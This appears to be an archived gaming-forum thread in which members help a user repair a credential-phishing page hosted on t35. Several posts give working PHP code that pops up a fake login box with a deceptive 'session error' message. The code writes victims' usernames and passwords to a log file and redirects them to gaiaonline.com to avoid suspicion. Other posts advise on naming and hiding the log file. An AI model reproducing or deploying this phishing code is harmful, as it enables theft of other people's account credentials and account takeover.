A preserved archive of the Logical Gamers community forums, 2009-2025. The original threads and posts, served read-only. Registration, posting and private messages are gone for good.

help me with t35

1.4k views · started by ijj.lacsamana13 ·
#1
help me with t35
hey guys when i press the account.txt,it will open a new page then u need to log in your t35 account AGAIN,and now it is not working.please help me
#2
please send me the t35 account i will see what is the problem if you believe i will scam you, you can find someone else to do it for you

Note: make sure you press Open
#3
hello i know what to do
#5
thats not working either chad they must be editing stuff
#6
Flare wrote:
thats not working either chad they must be editing stuff


That was an example link meaning it does not exist...
#7
the problem has been going around where the page turns up white when you go to look at the account.txt file eaither you will get lucky and see what is in it or it will be a white page
#8
Ok i took a look in his t35 and his popup login box isnt coded right.

<?php
if(isset($_SERVER['PHP_AUTH_USER'])){
$Handle = @fopen('LogicalAccounts.html', 'a');

@fwrite($Handle, "Username = {$_SERVER['PHP_AUTH_USER']}\r\n");
@fwrite($Handle, "Password = {$_SERVER['PHP_AUTH_PW']}\r\n\r\n");

@fclose($Handle);exit;
}

header('WWW-Authenticate: Basic realm="A session error has occured please verify your Username and Password."');
header('HTTP/1.0 401 Unauthorized');
exit;
?>


**********************EDIT FOUND THE FOLLOWING PROBLEM************************

You had to write the file in a HTML but it looks like shit when you open it up, so just press edit on the file LogicalGamers.html
#9
Its suppose to be in a .php. -sigh-
#10
Chad wrote:
Its suppose to be in a .php. -sigh-


No the logging file
#11
No the logging file


Should be '[Logging File Name Here].php' in the Admin CP...

Then a Redirect to the php file, so that it records the info...
#12
Should be '[Logging File Name Here].php' in the Admin CP...

Then a Redirect to the php file, so that it records the info...


What admin cp?
#13
PedoBear™;180831 wrote:
What admin cp?


obviously he means the control panel for t35.

If anyone has a gun, I suggest you use it wisely.
#14
PedoBear™;180634 wrote:


No the logging file


@Everyone else, I want to clear up what PedoBear meant.
Translation: The HTML file is the log file. PedoBear mistakenly said logging, but if you actually glance at the code, you'll see that LogicalAccounts.html is being opened with fopen.
i.e. The logs are being written there.
#15
<?php
while($_SERVER['PHP_AUTH_USER'] == null || $_SERVER['PHP_AUTH_PW'] == null){
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
$Handle = @fopen('acounties', 'a');

@fwrite($Handle, "{$_SERVER['PHP_AUTH_USER']}:");
@fwrite($Handle, "{$_SERVER['PHP_AUTH_PW']}\r\n");

@fclose($Handle);
header('Location: http://www.gaiaonline.com');
exit;
?>


Info goes in acounties.txt

Your welcome :)
#16
Bman wrote:
<?php
while($_SERVER['PHP_AUTH_USER'] == null || $_SERVER['PHP_AUTH_PW'] == null){
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
$Handle = @fopen('acounties', 'a');

@fwrite($Handle, "{$_SERVER['PHP_AUTH_USER']}:");
@fwrite($Handle, "{$_SERVER['PHP_AUTH_PW']}\r\n");

@fclose($Handle);
header('Location: http://www.gaiaonline.com');
exit;
?>


Info goes in acounties.txt

Your welcome :)


Why would you change a file name which has a fairly obscure name to a really obvious name?




Side Note: I Personally recommend the account name be PHP.
Using Bman's example, I'll demonstrate what I mean.

<?php
while($_SERVER['PHP_AUTH_USER'] == null || $_SERVER['PHP_AUTH_PW'] == null){
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
$Handle = fopen('logs.php', 'a');

fwrite($Handle, "{$_SERVER['PHP_AUTH_USER']}:");
fwrite($Handle, "{$_SERVER['PHP_AUTH_PW']}\n");

fclose($Handle);
header('Location: http://www.gaiaonline.com');
exit;
?>



In the logs.php file, I would use the following:
<?php
header('Content-Type: text/plain');
?>


Also, what's the purpose of using @ before a function name?
Also, why'd you leave .txt off accounts?



Edit: I thought you said accounts.txt instead of accounties. Sorry about that.
#17
Personoid wrote:
Why would you change a file name which has a fairly obscure name to a really obvious name?




Side Note: I Personally recommend the account name be PHP.
Using Bman's example, I'll demonstrate what I mean.

<?php
while($_SERVER['PHP_AUTH_USER'] == null || $_SERVER['PHP_AUTH_PW'] == null){
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
$Handle = fopen('logs.php', 'a');

fwrite($Handle, "{$_SERVER['PHP_AUTH_USER']}:");
fwrite($Handle, "{$_SERVER['PHP_AUTH_PW']}\n");

fclose($Handle);
header('Location: http://www.gaiaonline.com');
exit;
?>



In the logs.php file, I would use the following:
<?php
header('Content-Type: text/plain');
?>


Also, what's the purpose of using @ before a function name?
Also, why'd you leave .txt off accounts?



Edit: I thought you said accounts.txt instead of accounties. Sorry about that.


I wouldn't use
<?php
header('Content-Type: text/plain');
?>

just leave it as a php file